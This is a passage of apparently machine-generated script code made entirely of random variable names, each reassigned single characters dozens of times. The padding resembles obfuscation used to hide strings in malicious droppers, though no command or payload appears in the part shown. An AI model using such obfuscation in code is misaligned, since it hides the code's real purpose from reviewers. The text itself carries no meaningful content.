60	cdtnv = "\"";
61	jkkrcu = "c";
62	jkkrcu = "F";
63	jkkrcu = "x";
64	jkkrcu = "D";
65	jkkrcu = "E";
66	jkkrcu = "w";
67	jkkrcu = "l";
68	jkkrcu = "C";
69	jkkrcu = "j";
70	jkkrcu = "k";
71	jkkrcu = "j";
72	jkkrcu = "q";
73	jkkrcu = "H";
74	jkkrcu = "Z";
75	jkkrcu = "L";
76	jkkrcu = "f";
77	jkkrcu = "y";
78	jkkrcu = "D";
79	jkkrcu = "r";
80	jkkrcu = "P";
81	jkkrcu = "z";
82	jkkrcu = "d";
83	jkkrcu = "D";
84	jkkrcu = "w";
85	jkkrcu = "d";
86	jkkrcu = "a";
87	jkkrcu = "V";
88	jkkrcu = "C";
89	jkkrcu = "J";
90	jkkrcu = "g";
91	jkkrcu = "G";
92	jkkrcu = "Q";
93	jkkrcu = "K";
94	jkkrcu = "M";
95	jkkrcu = "s";
96	jkkrcu = "g";
97	jkkrcu = "v";
98	jkkrcu = "u";
99	jkkrcu = "G";
100	jkkrcu = "c";
101	jkkrcu = "f";
102	jkkrcu = "D";
103	jkkrcu = "S";
104	jkkrcu = "b";
105	msnyfeb = "L";
106	msnyfeb = "f";
107	msnyfeb = "B";
108	msnyfeb = "A";
109	msnyfeb = "N";
110	msnyfeb = "p";
111	msnyfeb = "X";
112	msnyfeb = "c";
113	msnyfeb = "U";
114	msnyfeb = "n";
115	msnyfeb = "B";
116	msnyfeb = "T";
117	msnyfeb = "n";
118	msnyfeb = "o";
119	msnyfeb = "g";
120	msnyfeb = "o";
121	msnyfeb = "g";
122	msnyfeb = "q";
123	msnyfeb = "z";
124	msnyfeb = "8";
125	aslcn = "R";
126	aslcn = "x";
127	aslcn = "n";
128	aslcn = "t";
129	aslcn = "n";
130	aslcn = "I";
131	aslcn = "J";
132	aslcn = "C";
133	aslcn = "Q";
134	aslcn = "Q";
135	aslcn = "N";
136	aslcn = "V";
137	aslcn = "d";
138	aslcn = "O";
139	aslcn = "t";
140	aslcn = "c";
141	aslcn = "w";
142	aslcn = "o";
143	aslcn = "c";
144	dtdxnaxt = "j";
145	dtdxnaxt = "S";
146	dtdxnaxt = "K";
147	dtdxnaxt = "S";
148	dtdxnaxt = "I";
149	dtdxnaxt = "m";
150	dtdxnaxt = "T";
151	dtdxnaxt = "P";
152	dtdxnaxt = "l";
153	dtdxnaxt = "t";
154	dtdxnaxt = "h";
155	dtdxnaxt = "I";
156	dtdxnaxt = "v";
157	dtdxnaxt = "I";
158	dtdxnaxt = "k";
159	dtdxnaxt = "r";
160	dtdxnaxt = "Q";
161	dtdxnaxt = "T";
162	dtdxnaxt = "t";
163	dtdxnaxt = "o";
164	dtdxnaxt = "l";
165	dtdxnaxt = "E";
166	dtdxnaxt = "X";
167	dtdxnaxt = "L";
168	dtdxnaxt = "l";
169	dtdxnaxt = "L";
170	gbhmzk = "c";
171	gbhmzk = "y";
172	gbhmzk = "l";
173	gbhmzk = "Q";
174	gbhmzk = "b";
175	gbhmzk = "h";
176	gbhmzk = "Z";
177	gbhmzk = "j";
178	gbhmzk = "x";
179	gbhmzk = "c";
180	gbhmzk = "W";
181	gbhmzk = "v";
182	gbhmzk = "R";
183	gbhmzk = "l";
184	gbhmzk = "D";
185	gbhmzk = "x";
186	gbhmzk = "D";
187	gbhmzk = "y";
188	gbhmzk = "a";
189	gbhmzk = "r";
190	gbhmzk = "C";
191	timsnw = "Q";
192	timsnw = "G";
193	timsnw = "H";
194	timsnw = "b";
195	timsnw = "K";
196	timsnw = "C";
197	timsnw = "c";
198	timsnw = "n";
199	timsnw = "l";
200	timsnw = "g";
201	timsnw = "u";
202	timsnw = "y";
203	timsnw = "n";
204	timsnw = "P";
205	timsnw = "b";
206	timsnw = "E";
207	timsnw = "l";
208	timsnw = "Q";
209	timsnw = "H";
210	timsnw = "D";
211	timsnw = "N";
212	timsnw = "C";
213	timsnw = "Z";
214	timsnw = "J";
215	timsnw = "B";
216	timsnw = "N";
217	timsnw = "P";
218	timsnw = "B";
219	timsnw = "O";
220	timsnw = "k";
221	timsnw = "l";
222	timsnw = "D";
223	timsnw = "C";
224	timsnw = "w";
225	timsnw = "f";
226	timsnw = " ";
227	sfggms = "J";
228	sfggms = "v";
229	sfggms = "O";
230	sfggms = "e";
231	sfggms = "u";
232	sfggms = "N";
233	sfggms = "U";
234	sfggms = "Z";
235	sfggms = "I";
236	sfggms = "S";
237	sfggms = "i";
238	sfggms = "Q";
239	sfggms = "Q";
240	sfggms = "g";
241	sfggms = "e";
242	sadgih = "K";
243	sadgih = "s";
244	sadgih = "a";
245	sadgih = "z";
246	sadgih = "w";
247	sadgih = "O";
248	sadgih = "m";
249	sadgih = "x";
250	sadgih = "w";
251	sadgih = "P";
252	sadgih = "i";
253	sadgih = "B";
254	sadgih = "N";
255	lijslmm = "j";
256	lijslmm = "G";
257	lijslmm = "p";
258	lijslmm = "g";
259	lijslmm = "g";
260	lijslmm = "C";
261	lijslmm = "G";
262	lijslmm = "N";
263	lijslmm = "S";
264	lijslmm = "a";
265	lijslmm = "N";
266	lijslmm = "R";
267	lijslmm = "B";
268	lijslmm = "w";
269	lijslmm = "L";
270	lijslmm = "l";
271	znfjsb = "J";
272	znfjsb = "R";
273	znfjsb = "s";
274	znfjsb = "S";
275	znfjsb = "f";
276	znfjsb = "F";
277	znfjsb = "t";
278	znfjsb = "V";
279	znfjsb = "r";
280	znfjsb = "A";
281	znfjsb = "w";
282	znfjsb = "e";
283	znfjsb = "e";
284	znfjsb = "R";
285	znfjsb = "z";
286	znfjsb = "W";
287	znfjsb = "a";
288	znfjsb = "G";
289	znfjsb = "p";
290	znfjsb = "n";
291	znfjsb = "B";
292	znfjsb = "B";
293	znfjsb = "-";
294	kbmab = "I";
295	kbmab = "B";
296	kbmab = "T";
297	kbmab = "k";
298	kbmab = "G";
299	kbmab = "R";
300	kbmab = "n";
301	kbmab = "U";
302	kbmab = "G";
303	kbmab = "q";
304	kbmab = "X";
305	kbmab = "v";
306	kbmab = "M";
307	kbmab = "o";
308	kbmab = "b";
309	kbmab = "s";
310	kbmab = "P";
311	kbmab = "L";
312	kbmab = "N";
313	kbmab = "t";
314	kbmab = "x";
315	kbmab = "Y";
316	kbmab = "q";
317	kbmab = "F";
318	kbmab = "y";
319	kbmab = "J";
320	kbmab = "A";
321	kbmab = "S";
322	kbmab = "F";
323	kbmab = "M";
324	kbmab = "M";
325	kbmab = "M";
326	kbmab = "v";
327	kbmab = "j";
328	kbmab = "l";
329	kbmab = "I";
330	kbmab = "W";
331	kbmab = "4";
332	zonwk = "J";
333	zonwk = "t";
334	zonwk = "b";
335	zonwk = "d";
336	zonwk = "k";
337	zonwk = "v";
338	zonwk = "X";
339	zonwk = "V";
340	zonwk = "m";
341	zonwk = "Q";
342	zonwk = "U";
343	zonwk = "r";
344	zonwk = "y";
345	zonwk = "q";
346	zonwk = "g";
347	zonwk = "t";
348	zonwk = "z";
349	zonwk = "x";
350	zonwk = "V";
351	zonwk = "n";
352	zonwk = "S";
353	zonwk = "A";
354	zonwk = "Z";
355	zonwk = "b";
356	zonwk = "M";
357	zonwk = "Q";
358	zonwk = "I";
359	zonwk = "C";
360	zonwk = "P";
361	zonwk = "T";
362	zonwk = "h";
363	zonwk = "s";
364	zonwk = "3";
365	lxlpouhv = "y";
366	lxlpouhv = "r";
367	lxlpouhv = "T";
368	lxlpouhv = "t";
369	lxlpouhv = "M";
370	lxlpouhv = "m";
371	lxlpouhv = "D";
372	lxlpouhv = "M";
373	lxlpouhv = "U";
374	lxlpouhv = "p";
375	lxlpouhv = "P";
376	lxlpouhv = "M";
377	lxlpouhv = "A";
378	lxlpouhv = "g";
379	lxlpouhv = "U";
380	lxlpouhv = "z";
381	lxlpouhv = "c";
382	lxlpouhv = "y";
383	lxlpouhv = "G";
384	lxlpouhv = "v";
385	lxlpouhv = "y";
386	lxlpouhv = "X";
387	lxlpouhv = "R";
388	lxlpouhv = "m";
389	lxlpouhv = "F";
390	lxlpouhv = "a";
391	lxlpouhv = "n";
392	lxlpouhv = "i";
393	lxlpouhv = "s";
394	lxlpouhv = "O";
395	lxlpouhv = "S";
396	lxlpouhv = "m";
397	lxlpouhv = "Y";
398	lxlpouhv = "b";
399	lxlpouhv = "l";
400	lxlpouhv = "i";
401	fpfjw = "v";
402	fpfjw = "H";
403	fpfjw = "h";
404	fpfjw = "g";
405	fpfjw = "h";
406	fpfjw = "P";
407	fpfjw = "y";
408	fpfjw = "N";
409	fpfjw = "a";
410	fpfjw = "V";
411	fpfjw = "G";
412	fpfjw = "L";
413	fpfjw = "n";
414	fpfjw = "v";
415	fpfjw = "E";
416	fpfjw = "t";
417	fpfjw = "B";
418	fpfjw = "f";
419	fpfjw = "S";
420	fpfjw = "U";
421	fpfjw = "O";
422	fpfjw = "L";
423	fpfjw = "z";
424	fpfjw = "f";
425	fpfjw = "T";
426	fpfjw = "Z";
427	fpfjw = "K";
428	fpfjw = "w";
429	fpfjw = "O";
430	cttxlmo = "q";
431	cttxlmo = "u";
432	cttxlmo = "E";
433	zeyzfa = "T";
434	zeyzfa = "c";
435	zeyzfa = "G";
436	zeyzfa = "n";
437	zeyzfa = "Y";
438	zeyzfa = "s";
439	zeyzfa = "E";
440	zeyzfa = "D";
441	zeyzfa = "k";
442	zeyzfa = "D";
443	zeyzfa = "Q";
444	zeyzfa = "V";
445	zeyzfa = "W";
446	zeyzfa = "x";
447	zeyzfa = "p";
448	zeyzfa = "V";
449	zeyzfa = "V";
450	zeyzfa = "Z";
451	zeyzfa = "Z";
452	zeyzfa = "X";
453	zeyzfa = "G";
454	zeyzfa = "h";
455	zeyzfa = "q";
456	zeyzfa = "b";
457	zeyzfa = "Q";
458	zeyzfa = "C";
459	zeyzfa = "n";
460	zeyzfa = "B";
461	zeyzfa = "w";
462	zeyzfa = "l";
463	zeyzfa = "z";
464	zeyzfa = "n";
465	zeyzfa = "p";
466	zeyzfa = "D";
467	zeyzfa = "i";
468	zeyzfa = "I";
469	zeyzfa = "v";
470	zeyzfa = "G";
471	zeyzfa = "q";
472	zeyzfa = "S";
473	bkozyhp = "u";
474	bkozyhp = "R";
475	bkozyhp = "Q";
476	bkozyhp = "b";
477	bkozyhp = "M";
478	bkozyhp = "A";
479	bkozyhp = "j";
480	bkozyhp = "D";
481	bkozyhp = "9";
482	rhcnupqnf = "w";
483	rhcnupqnf = "t";
484	rhcnupqnf = "I";
485	rhcnupqnf = "N";
486	rhcnupqnf = "X";
487	rhcnupqnf = "O";
488	rhcnupqnf = "J";
489	rhcnupqnf = "d";
490	rhcnupqnf = "m";
491	rhcnupqnf = "C";
492	rhcnupqnf = "t";
493	rhcnupqnf = "w";
494	rhcnupqnf = "D";
495	rhcnupqnf = "O";
496	rhcnupqnf = "y";
497	rhcnupqnf = "G";
498	rhcnupqnf = "h";
499	rhcnupqnf = "h";
500	rhcnupqnf = "q";
501	rhcnupqnf = "K";
502	rhcnupqnf = "J";
503	rhcnupqnf = "X";
504	rhcnupqnf = "B";
505	rhcnupqnf = "h";
506	rhcnupqnf = "c";
507	rhcnupqnf = "t";
508	rhcnupqnf = "G";
509	rhcnupqnf = "C";
510	rhcnupqnf = "c";
511	rhcnupqnf = "Z";
512	rhcnupqnf = "p";
513	ibxysydi = "F";
514	ibxysydi = "Q";
515	ibxysydi = "A";
516	ibxysydi = "A";
517	ibxysydi = "I";
518	ibxysydi = "J";
519	ibxysydi = "I";
520	ibxysydi = "G";
521	ibxysydi = "S";
522	ibxysydi = "Q";
523	ibxysydi = "g";
524	ibxysydi = "B";
525	ibxysydi = "S";
526	ibxysydi = "h";
527	ibxysydi = "k";
528	ibxysydi = "b";
529	ibxysydi = "F";
530	ibxysydi = "U";
531	ibxysydi = "y";
532	ibxysydi = "f";
533	ibxysydi = "g";
534	ibxysydi = "j";
535	ibxysydi = "Z";
536	ibxysydi = "j";
537	ibxysydi = "Z";
538	ibxysydi = "H";
539	ibxysydi = "v";
540	ibxysydi = "i";
541	ibxysydi = "m";
542	ibxysydi = "b";
543	ibxysydi = "J";
544	ibxysydi = "P";
545	ibxysydi = "i";
546	ibxysydi = "J";
547	ibxysydi = "d";
548	ibxysydi = "%";
549	jmameob = "0";
550	vyjkrydkf = "F";
551	vyjkrydkf = "x";
552	vyjkrydkf = "Y";
553	vyjkrydkf = "X";
554	vyjkrydkf = "f";
555	gynqacinm = "l";
556	gynqacinm = "D";
557	gynqacinm = "u";
558	gynqacinm = "O";
559	gynqacinm = "Y";
560	gynqacinm = "U";
561	gynqacinm = "a";
562	gynqacinm = "w";
563	gynqacinm = "U";
564	gynqacinm = "y";
565	gynqacinm = "o";
566	gynqacinm = "g";
567	gynqacinm = "i";
568	gynqacinm = "W";
569	gynqacinm = "v";
570	gynqacinm = "B";
571	gynqacinm = "\\";
572	choos = "H";
573	choos = "u";
574	choos = "r";
575	choos = "m";
576	choos = "Z";
577	choos = "W";
578	ivdqt = "u";
579	ivdqt = "z";
580	ivdqt = "z";
581	ivdqt = "j";
582	ivdqt = "Z";
583	ivdqt = "q";
584	ivdqt = "x";
585	ivdqt = "u";
586	ivdqt = "W";
587	ivdqt = "k";
588	ivdqt = "d";
589	ivdqt = "A";
590	ivdqt = "K";
591	ivdqt = "i";
592	ivdqt = "z";
593	ivdqt = "Q";
594	ivdqt = "G";
595	ivdqt = "o";
596	ivdqt = "M";
597	ivdqt = "v";
598	ivdqt = "I";
599	ivdqt = "C";
600	ivdqt = "A";
601	ivdqt = "y";
602	ivdqt = "K";
603	ivdqt = "x";
604	ivdqt = "I";
605	ivdqt = "N";
606	ivdqt = "N";
607	ivdqt = "f";
608	ivdqt = "J";
609	ivdqt = "w";
610	ivdqt = "s";
611	ivdqt = "s";
612	ivdqt = "m";
613	ivdqt = "C";
614	ivdqt = "W";
615	ivdqt = "Q";
616	ivdqt = "S";
617	ivdqt = "@";
618	caxpbmpy = "l";
619	caxpbmpy = "y";
620	caxpbmpy = "z";
621	caxpbmpy = "T";
622	caxpbmpy = "r";
623	caxpbmpy = "u";
624	caxpbmpy = "C";
625	caxpbmpy = "K";
626	caxpbmpy = "P";
627	caxpbmpy = "m";
628	caxpbmpy = "x";
629	caxpbmpy = "d";
630	caxpbmpy = "P";
631	caxpbmpy = "V";
632	caxpbmpy = "x";
633	caxpbmpy = "n";
634	caxpbmpy = "i";
635	caxpbmpy = "E";
636	caxpbmpy = "k";
637	caxpbmpy = "S";
638	caxpbmpy = "A";
639	caxpbmpy = ".";
640	ijgbl = "m";
641	ijgbl = "L";
642	ijgbl = "d";
643	ijgbl = "F";
644	ijgbl = "H";
645	ijgbl = "i";
646	ijgbl = "C";
647	ijgbl = "w";
648	ijgbl = "f";
649	ijgbl = "V";
650	ijgbl = "h";
651	ijgbl = "P";
652	ijgbl = "B";
653	ijgbl = "L";
654	ijgbl = "s";
655	ijgbl = "U";
656	ijgbl = "f";
657	ijgbl = "V";
658	ijgbl = "I";
659	ijgbl = "I";
660	ijgbl = "M";
661	ijgbl = "f";
662	ijgbl = "a";
663	ijgbl = "Z";
664	ijgbl = "P";
665	ijgbl = "S";
666	ijgbl = "T";
667	ijgbl = "G";
668	ijgbl = "D";
669	ijgbl = "h";
670	picycgir = "t";
671	picycgir = "K";
672	picycgir = "o";
673	picycgir = "k";
674	picycgir = "h";
675	picycgir = "o";
676	picycgir = "p";
677	picycgir = "Q";
678	picycgir = "e";
679	picycgir = "a";
680	picycgir = "G";
681	picycgir = "C";
682	picycgir = "C";
683	picycgir = "C";
684	picycgir = "X";
685	picycgir = "Y";
686	picycgir = "l";
687	picycgir = "J";
688	picycgir = "D";
689	picycgir = "j";
690	picycgir = "k";
691	picycgir = "j";
692	picycgir = "h";
693	picycgir = "i";
694	picycgir = "p";
695	picycgir = "L";
696	picycgir = "r";
697	picycgir = "k";
698	picycgir = "E";
699	picycgir = "P";
700	picycgir = "s";
701	picycgir = "m";
702	picycgir = "R";
703	picycgir = "v";
704	picycgir = "A";
705	picycgir = "p";
706	picycgir = "b";
707	picycgir = "R";
708	ojwdtsa = "e";
709	ojwdtsa = "Q";
710	ojwdtsa = "j";
711	ojwdtsa = "u";
712	ojwdtsa = "O";
713	ojwdtsa = "o";
714	ojwdtsa = "D";
715	ojwdtsa = "Y";
716	ojwdtsa = "U";
717	ojwdtsa = "u";
718	ojwdtsa = "R";
719	ojwdtsa = "V";
720	ojwdtsa = "s";
721	ehgmih = "d";
722	ehgmih = "m";
723	ehgmih = "C";
724	ehgmih = "L";
725	ehgmih = "P";
726	ehgmih = "c";
727	ehgmih = "I";
728	ehgmih = "z";
729	ehgmih = "I";
730	ehgmih = "d";
731	ehgmih = "u";
732	ehgmih = "L";
733	ehgmih = "K";
734	ehgmih = "f";
735	ehgmih = "V";
736	ehgmih = "m";
737	ehgmih = "M";
738	ehgmih = "E";
739	ehgmih = "X";
740	ehgmih = "v";
741	ehgmih = "u";
742	ehgmih = "j";
743	ehgmih = "i";
744	ehgmih = "o";
745	ehgmih = "e";
746	ehgmih = "Q";
747	ehgmih = "T";
748	ehgmih = "D";
749	ehgmih = "j";
750	ehgmih = "R";
751	ehgmih = "z";
752	ehgmih = "x";
753	ehgmih = "I";
754	ehgmih = "/";
755	wbfwf = "S";
756	wbfwf = "K";
757	wbfwf = "K";
758	wbfwf = "5";
759	cidlujq = "Y";
760	cidlujq = "c";
761	cidlujq = "R";
762	cidlujq = "u";
763	cidlujq = "m";
764	cidlujq = "l";
765	cidlujq = "E";
766	cidlujq = "U";
767	cidlujq = "i";
768	cidlujq = "V";
769	cidlujq = "d";
770	cidlujq = "i";
771	cidlujq = "U";
772	cidlujq = "E";
773	cidlujq = "x";
774	cidlujq = "x";
775	cidlujq = "r";
776	cidlujq = "h";
777	cidlujq = "J";
778	cidlujq = "s";
779	cidlujq = "I";
780	cidlujq = "U";
781	cidlujq = "L";
782	cidlujq = "k";
783	cidlujq = "v";
784	cidlujq = "p";
785	cidlujq = "g";
786	cidlujq = "d";
787	cidlujq = "N";
788	cidlujq = "t";
789	cidlujq = "F";
790	cidlujq = "R";
791	cidlujq = "l";
792	cidlujq = "Q";
793	cidlujq = "Y";
794	cidlujq = "P";
795	nfdmxdi = "h";
796	nfdmxdi = "J";
797	nfdmxdi = "B";
798	nfdmxdi = "f";
799	nfdmxdi = "q";
800	nfdmxdi = "J";
801	nfdmxdi = "D";
802	nfdmxdi = "v";
803	nfdmxdi = "B";
804	nfdmxdi = "t";
805	nfdmxdi = "J";
806	nfdmxdi = "P";
807	nfdmxdi = "W";
808	nfdmxdi = "Y";
809	nfdmxdi = "P";
810	nfdmxdi = "W";
811	nfdmxdi = "F";
812	nfdmxdi = "F";
813	nfdmxdi = "k";
814	nfdmxdi = "p";
815	nfdmxdi = "J";
816	nfdmxdi = "E";
817	nfdmxdi = "R";
818	nfdmxdi = "I";
819	nfdmxdi = "d";
820	nfdmxdi = "Q";
821	nfdmxdi = "H";
822	nfdmxdi = "v";
823	nfdmxdi = "M";
824	nfdmxdi = "O";
825	nfdmxdi = "E";
826	nfdmxdi = "_";
827	njrjx = "T";
828	njrjx = "A";
829	njrjx = "V";
830	njrjx = "P";
831	njrjx = "q";
832	jnfbtmx = "o";
833	jnfbtmx = "l";
834	jnfbtmx = "o";
835	jnfbtmx = "P";
836	jnfbtmx = "Z";
837	jnfbtmx = "p";
838	jnfbtmx = "j";
839	jnfbtmx = "P";
840	jnfbtmx = "s";
841	jnfbtmx = "Z";
842	jnfbtmx = "Z";
843	jnfbtmx = "y";
844	jnfbtmx = "c";
845	jnfbtmx = "N";
846	jnfbtmx = "p";
847	jnfbtmx = "e";
848	jnfbtmx = "J";
849	jnfbtmx = "D";
850	jnfbtmx = "q";
851	jnfbtmx = "L";
852	jnfbtmx = "q";
853	jnfbtmx = "I";
854	jnfbtmx = "R";
855	jnfbtmx = "z";
856	jnfbtmx = "c";
857	jnfbtmx = "h";
858	jnfbtmx = "Y";
859	jnfbtmx = "u";
860	jnfbtmx = "q";
861	jnfbtmx = "S";
862	jnfbtmx = "F";
863	jnfbtmx = "J";
864	jnfbtmx = "D";
865	jnfbtmx = "g";
866	xyfjoyto = "s";
867	xyfjoyto = "B";
868	xyfjoyto = "q";
869	xyfjoyto = "h";
870	xyfjoyto = "G";
871	xyfjoyto = "l";
872	xyfjoyto = "k";
873	tldqs = "w";
874	tldqs = "D";
875	tldqs = "p";
876	tldqs = "b";
877	tldqs = "U";
878	tldqs = "r";
879	tldqs = "k";
880	tldqs = "P";
881	tldqs = "B";
882	tldqs = "n";
883	vkrgsbl = "o";
884	vkrgsbl = "j";
885	vkrgsbl = "S";
886	vkrgsbl = "l";
887	vkrgsbl = "X";
888	vkrgsbl = "i";
889	vkrgsbl = "Q";
890	vkrgsbl = "q";
891	vkrgsbl = "X";
892	vkrgsbl = "B";
893	vkrgsbl = "B";
894	vkrgsbl = "U";
895	vkrgsbl = "P";
896	vkrgsbl = "N";
897	vkrgsbl = "b";
898	vkrgsbl = "w";
899	vkrgsbl = "X";
900	vkrgsbl = "L";
901	vkrgsbl = "q";
902	vkrgsbl = "Y";
903	vkrgsbl = "S";
904	vkrgsbl = "s";
905	vkrgsbl = "x";
906	vkrgsbl = "k";
907	vkrgsbl = "W";
908	vkrgsbl = "T";
909	vkrgsbl = "y";
910	vkrgsbl = "l";
911	vkrgsbl = "t";
912	vkrgsbl = "B";
913	vkrgsbl = "s";
914	vkrgsbl = "x";
915	vkrgsbl = "z";
916	vkrgsbl = "U";
917	vkrgsbl = "G";
918	vkrgsbl = "z";
919	vkrgsbl = "v";
920	vkrgsbl = "d";
921	vkrgsbl = "x";
922	vkrgsbl = "q";
923	vkrgsbl = "x";
924	vkrgsbl = "U";
925	vkrgsbl = "Q";
926	vkrgsbl = "T";
927	bnjgf = "p";
928	bnjgf = "L";
929	bnjgf = "U";
930	bnjgf = "M";
931	bnjgf = "V";
932	bnjgf = "d";
933	noqbkhzzf = "G";
934	noqbkhzzf = "g";
935	noqbkhzzf = "f";
936	noqbkhzzf = "r";
937	noqbkhzzf = "u";
938	noqbkhzzf = "C";
939	noqbkhzzf = "K";
940	noqbkhzzf = "h";
941	noqbkhzzf = "s";
942	noqbkhzzf = "x";
943	noqbkhzzf = "W";
944	noqbkhzzf = "Q";
945	noqbkhzzf = "w";
946	noqbkhzzf = "c";
947	noqbkhzzf = "b";
948	noqbkhzzf = "O";
949	noqbkhzzf = "b";
950	noqbkhzzf = "G";
951	noqbkhzzf = "L";
952	noqbkhzzf = "t";
953	noqbkhzzf = "r";
954	noqbkhzzf = "e";
955	noqbkhzzf = "r";
956	noqbkhzzf = "s";
957	noqbkhzzf = "n";
958	noqbkhzzf = "Z";
959	noqbkhzzf = "r";
960	noqbkhzzf = "K";
961	noqbkhzzf = "h";
962	noqbkhzzf = "f";
963	noqbkhzzf = "1";
964	njbhhqc = "N";
965	njbhhqc = "j";
966	njbhhqc = "e";
967	njbhhqc = "U";
968	njbhhqc = "Y";
969	njbhhqc = "h";
970	njbhhqc = "B";
971	njbhhqc = "H";
972	njbhhqc = "V";
973	njbhhqc = "y";
974	njbhhqc = "M";
975	njbhhqc = "i";
976	njbhhqc = "p";
977	njbhhqc = "o";
978	njbhhqc = "O";
979	njbhhqc = "U";
980	njbhhqc = "M";
981	njbhhqc = "P";
982	njbhhqc = "t";
983	njbhhqc = "C";
984	njbhhqc = "o";
985	njbhhqc = "R";
986	njbhhqc = "d";
987	njbhhqc = "y";
988	njbhhqc = "c";
989	njbhhqc = "k";
990	njbhhqc = "E";
991	njbhhqc = "t";
992	njbhhqc = "M";
993	njbhhqc = "7";
994	xtyerx = "a";
995	xtyerx = "r";
996	xtyerx = "j";
997	xtyerx = "m";
998	xtyerx = "n";
999	xtyerx = "i";
1000	xtyerx = "q";
1001	xtyerx = "F";
1002	xtyerx = "U";
1003	xtyerx = "U";
1004	xtyerx = "e";
1005	xtyerx = "j";
1006	xtyerx = "M";
1007	xtyerx = "W";
1008	xtyerx = "N";
1009	xtyerx = "Y";
1010	xtyerx = "p";
1011	xtyerx = "w";
1012	xtyerx = "C";
1013	xtyerx = "A";
1014	xtyerx = "J";
1015	xtyerx = "m";
1016	xtyerx = "q";
1017	xtyerx = "i";
1018	xtyerx = "F";
1019	xtyerx = "C";
1020	xtyerx = "i";
1021	xtyerx = "Z";
1022	xtyerx = "w";
1023	xtyerx = "m";
1024	xtyerx = "e";
1025	xtyerx = "w";
1026	mcblmdtts = "I";
1027	mcblmdtts = "Y";
1028	mcblmdtts = "q";
1029	mcblmdtts = "P";
1030	mcblmdtts = "s";
1031	mcblmdtts = "E";
1032	mcblmdtts = "f";
1033	mcblmdtts = "w";
1034	mcblmdtts = "R";
1035	mcblmdtts = "b";
1036	mcblmdtts = "A";
1037	mcblmdtts = "o";
1038	mcblmdtts = "z";
1039	mcblmdtts = "Y";
1040	mcblmdtts = "v";
1041	mcblmdtts = "o";
1042	mcblmdtts = "b";
1043	mcblmdtts = "f";
1044	mcblmdtts = "x";
1045	mcblmdtts = "u";
1046	mcblmdtts = "U";
1047	mcblmdtts = "m";
1048	mcblmdtts = "Y";
1049	mcblmdtts = "Z";
1050	mcblmdtts = "F";
1051	mcblmdtts = "I";
1052	mcblmdtts = "u";
1053	mcblmdtts = "C";
1054	mcblmdtts = "f";
1055	mcblmdtts = "T";
1056	mcblmdtts = "X";
1057	mcblmdtts = "p";
1058	mcblmdtts = "Y";
1059	mcblmdtts = "t";
1060	mcblmdtts = "Z";
1061	mcblmdtts = "g";
1062	mcblmdtts = "X";
1063	mcblmdtts = "t";
1064	mcblmdtts = "H";
1065	mcblmdtts = "y";
1066	mcblmdtts = "e";
1067	mcblmdtts = "K";
1068	aydpq = "V";
1069	aydpq = "q";
1070	aydpq = "z";
1071	aydpq = "z";
1072	aydpq = "r";
1073	aydpq = "e";
1074	aydpq = "o";
1075	aydpq = "l";
1076	aydpq = "P";
1077	aydpq = "V";
1078	aydpq = "z";
1079	aydpq = "q";
1080	aydpq = "c";
1081	aydpq = "R";
1082	aydpq = "F";
1083	aydpq = "H";
1084	aydpq = "t";
1085	aydpq = "j";
1086	aydpq = "D";
1087	aydpq = "E";
1088	aydpq = "e";
1089	aydpq = "Z";
1090	aydpq = "N";
1091	aydpq = "h";
1092	aydpq = "a";
1093	aydpq = "h";
1094	aydpq = "Q";
1095	aydpq = "v";
1096	aydpq = "f";
1097	aydpq = "l";
1098	aydpq = "e";
1099	aydpq = "z";
1100	aydpq = "Q";
1101	aydpq = "G";
1102	aydpq = "r";
1103	aydpq = "j";
1104	aydpq = "S";
1105	aydpq = "G";
1106	aydpq = "K";
1107	aydpq = "E";
1108	aydpq = "u";
1109	aydpq = "c";
1110	aydpq = "w";
1111	aydpq = "g";
1112	aydpq = "H";
1113	sjpaj = "E";
1114	sjpaj = "v";
1115	sjpaj = "U";
1116	sjpaj = "z";
1117	sjpaj = "T";
1118	sjpaj = "x";
1119	sjpaj = "m";
1120	sjpaj = "u";
1121	sjpaj = "u";
1122	sjpaj = "s";
1123	sjpaj = "W";
1124	sjpaj = "g";
1125	sjpaj = "w";
1126	sjpaj = "L";
1127	sjpaj = "h";
1128	sjpaj = "v";
1129	sjpaj = "p";
1130	sjpaj = "f";
1131	sjpaj = "k";
1132	sjpaj = "D";
1133	sjpaj = "a";
1134	sjpaj = "G";
1135	sjpaj = "P";
1136	sjpaj = "M";
1137	sjpaj = "r";
1138	sjpaj = "D";
1139	sjpaj = "M";
1140	sjpaj = "V";
1141	sjpaj = "R";
1142	sjpaj = "S";
1143	sjpaj = "n";
1144	sjpaj = "p";
1145	sjpaj = "I";
1146	sjpaj = "c";
1147	sjpaj = "t";
1148	sjpaj = "u";
1149	sjpaj = "B";
1150	sjpaj = "m";
1151	sjpaj = "C";
1152	sjpaj = "w";
1153	sjpaj = "B";
1154	sjpaj = "H";
1155	sjpaj = "Y";
1156	sjpaj = "Q";
1157	kzxsncj = "E";
1158	kzxsncj = "z";
1159	kzxsncj = "E";
1160	kzxsncj = "K";
1161	kzxsncj = "n";
1162	kzxsncj = "g";
1163	kzxsncj = "P";
1164	kzxsncj = "T";
1165	kzxsncj = "o";
1166	kzxsncj = "a";
1167	kzxsncj = "r";
1168	kzxsncj = "r";
1169	kzxsncj = "t";
1170	kzxsncj = "C";
1171	kzxsncj = "k";
1172	kzxsncj = "v";
1173	kzxsncj = "K";
1174	kzxsncj = "P";
1175	kzxsncj = "G";
1176	kzxsncj = "z";
1177	kzxsncj = "c";
1178	kzxsncj = "u";
1179	kzxsncj = "o";
1180	kzxsncj = "b";
1181	kzxsncj = "n";
1182	kzxsncj = "R";
1183	kzxsncj = "v";
1184	kzxsncj = "n";
1185	kzxsncj = "s";
1186	kzxsncj = "m";
1187	gantaup = "x";
1188	gantaup = "R";
1189	gantaup = "O";
1190	gantaup = "T";
1191	gantaup = "g";
1192	gantaup = "I";
1193	gantaup = "r";
1194	gantaup = "x";
1195	gantaup = "m";
1196	gantaup = "z";
1197	gantaup = "l";
1198	gantaup = "Z";
1199	gantaup = "u";
1200	bvpvx = "r";
1201	bvpvx = "G";
1202	bvpvx = "e";
1203	bvpvx = "S";
1204	bvpvx = "F";
1205	bvpvx = "t";
1206	bvpvx = "F";
1207	bvpvx = "L";
1208	bvpvx = "S";
1209	bvpvx = "w";
1210	bvpvx = "R";
1211	bvpvx = "W";
1212	bvpvx = "p";
1213	bvpvx = "t";
1214	bvpvx = "n";
1215	bvpvx = "I";
1216	bvpvx = "R";
1217	bvpvx = "l";
1218	bvpvx = "k";
1219	bvpvx = "L";
1220	bvpvx = "H";
1221	bvpvx = "o";
1222	bvpvx = "b";
1223	bvpvx = "T";
1224	bvpvx = "a";
1225	bvpvx = "m";
